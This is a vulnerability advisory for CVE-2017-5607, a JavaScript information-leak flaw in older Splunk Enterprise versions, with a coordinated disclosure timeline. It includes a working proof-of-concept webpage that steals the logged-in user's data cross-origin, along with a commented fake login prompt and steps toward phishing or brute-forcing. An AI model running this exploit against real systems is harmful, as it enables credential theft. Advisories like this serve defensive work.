Splunk Enterprise Information Theft (CVE-2017-5607)

Product:

Splunk Enterprise

Splunk provides the leading platform for Operational Intelligence.
Customers use Splunk to search, monitor, analyze
and visualize machine data. Splunk Enterprise, collects and analyzes high
volumes of machine-generated data.

Vulnerability Type:

Javascript (JSON) Information Theft

Security Issue:

Attackers can siphon information from Splunk Enterprise if an authenticated
Splunk user visits a malicious webpage.
Some useful data gained is the currently logged in username and if remote
user setting is enabled. After, the username
can be use to Phish or Brute Force Splunk Enterprise login. Additional
information stolen may aid in furthering attacks.

Root cause is the global Window JS variable assignment of config?autoload=1
‘$C’.

e.g.

window.$C = {"BUILD_NUMBER": 207789, "SPLUNKD_PATH"... etc... }

To steal information we simply can define a function to be called when the
'$C' JS property is “set” on webpage, for example.
Object.defineProperty( Object.prototype, "$C", { set:function(val){...

The Object prototype is a Object that every other object inherits from in
JavaScript, if we create a setter on the name of our target
in this case “$C”, we can get/steal the value of this data, in this case it
is very easy as it is assigned to global Window namespace.

Affected Splunk Enterprise versions:

6.5.x before 6.5.3
6.4.x before 6.4.6
6.3.x before 6.3.10
6.2.x before 6.2.13.1
6.1.x before 6.1.13
6.0.x before 6.0.14
5.0.x before 5.0.18 and Splunk Light before 6.5.2

Vulnerability could allow a remote attacker to obtain logged-in username
and Splunk version-related information via JavaScript.

References:

https://www.splunk.com/view/SP-CAAAPZ3
https://www.splunk.com/view/SP-CAAAPZ3#InformationLeakageviaJavaScriptCVE20175607

Exploit/POC:

Reproduction:

1. Log into Splunk
2. place the below Javascript in webpage on another server.

“Splunk-Data-Theft.html”

<script>
Object.defineProperty( Object.prototype, "$C", { set:function(val){
   //prompt("Splunk Timed out:\nPlease Login to Splunk\nUsername:
"+val.USERNAME, "Password")
for(var i in val){
 alert(""+i+" "+val[i]);
  }
 }
});
</script>


<script src="https://VICTIM-IP:8000/en-US/config?autoload=1";></script>

3. Visit the server hosting the “Splunk-Data-Theft.html” webpage, grab
   current authenticated user
4. Phish or brute force the application.

Video POC URL:

https://vimeo.com/210634562

Disclosure Timeline:

Vendor Notification: November 30, 2016
Vendor Acknowledgement: December 2, 2016
Vendor Release Splunk 6.5.3 / Patch : March 30, 2017
March 31, 2017 : Public Disclosure

[+] Disclaimer
The information contained within this advisory is supplied “as-is” with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content ©.

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